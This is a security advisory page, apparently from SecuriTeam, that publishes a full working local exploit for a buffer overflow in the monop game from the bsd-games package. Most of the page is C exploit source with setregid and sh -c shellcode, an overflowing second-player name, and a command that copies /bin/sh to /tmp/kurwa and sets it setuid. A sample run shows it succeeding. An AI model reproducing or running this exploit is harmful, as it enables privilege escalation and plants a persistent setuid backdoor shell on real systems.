SecuriTeam - Monop Local Vulnerability Exploit Code Released

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Monop is reminiscent of the Parker Brother's game Monopoly, and monitors a game between 1 to 9 users. A locally exploitable buffer overflow allows users to gain the privileges of the other players also playing the game.

Credit:
The information has been provided by ^sq.

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Exploit:
/*

U-N-F http://www.u-n-f.com monosex - monop game local exploit - from bsd-games package - by ^sq
Second player's name buffer overflow.
Based on qobaiashi's u-n-f advisory.
Shouts: UNF, wsxz, qobaiashi, sxynx, DragonK, dtorsBob, LSD, s0t4ipv6

deltha@slack9:~$ ./monosex
MONOSEX - U-N-F MONOP LOCAL BUFFER OVERFLOW
[+] Ret addy: 0x8050102
[+] Shellcode addy: 0xbffff2d0
uid=102(deltha) gid=20(games) groups=102(deltha)
ls:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBB12: No such file or directory
459881 -rwsrwxrwx 1 deltha games 628664 Aug 23 01:31 /tmp/kurwa

*/

#include <stdio.h>
#include <stdlib.h>
#define BUFPIPE 512
#define CMD "rm -f /tmp/kurwa; id; cp /bin/sh /tmp/kurwa; chmod 4777 /tmp/kurwa; ls -ila /tmp/kurwa "
#define VULN "/usr/games/monop"

int main(int argc, char **argv)

{
   FILE *pr;
   char newline[2]="\n";
   pr = popen(VULN,"w");
   char asd[BUFPIPE];
   char firstplayer[93];
   char buf[300+4];
   char env[1024];
   int ret = 0x8050102;

   char shellcode[] =
   /* setregid (20,20) shellcode */
   "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
   "\xcd\x80"
   /*Lsd sh -c shellcode */
   "\xeb\x22" /* jmp <cmdshellcode+36> */
   "\x59" /* popl %ecx */
   "\x31\xc0" /* xorl %eax,%eax */
   "\x50" /* pushl %eax */
   "\x68""//sh" /* pushl $0x68732f2f */
   "\x68""/bin" /* pushl $0x6e69622f */
   "\x89\xe3" /* movl %esp,%ebx */
   "\x50" /* pushl %eax */
   "\x66\x68""-c" /* pushw $0x632d */
   "\x89\xe7" /* movl %esp,%edi */
   "\x50" /* pushl %eax */
   "\x51" /* pushl %ecx */
   "\x57" /* pushl %edi */
   "\x53" /* pushl %ebx */
   "\x89\xe1" /* movl %esp,%ecx */
   "\x99" /* cdql */
   "\xb0\x0b" /* movb $0x0b,%al */
   "\xcd\x80" /* int $0x80 */
   "\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
   ;
   printf("MONOSEX - U-N-F MONOP LOCAL BUFFER OVERFLOW\n");
   printf("[+] Ret addy: 0x%x\n", ret);
   printf("[+] Shellcode addy: 0x%x\n", shellcode);

//firstplayer increment to avoid heap addresses which contains zeros
   memset(firstplayer, 0x42, 92);
   memset(buf, 0x90, 300);
   memcpy(&buf[300], (char *)&ret, 4);
   memcpy(&buf[300 - strlen(shellcode) - strlen(CMD)],shellcode,strlen(shellcode));
   memcpy(&buf[300 - strlen(CMD)],CMD,strlen(CMD));

   if (!pr) abort();

// How many players? 2
   strcpy(asd,"2");
   strcat(asd,newline);
   fputs(asd,pr);
   fflush(pr);

// Player 1's name:
   fputs(firstplayer,pr);
   strcat(asd,newline);
   fputs(asd,pr);
   fflush(pr);

// Player 2's name: overflow
   fputs(buf,pr);
   strcat(asd,newline);
   fputs(asd,pr);
   fflush(pr);
   pclose(pr);
   return 0;
}

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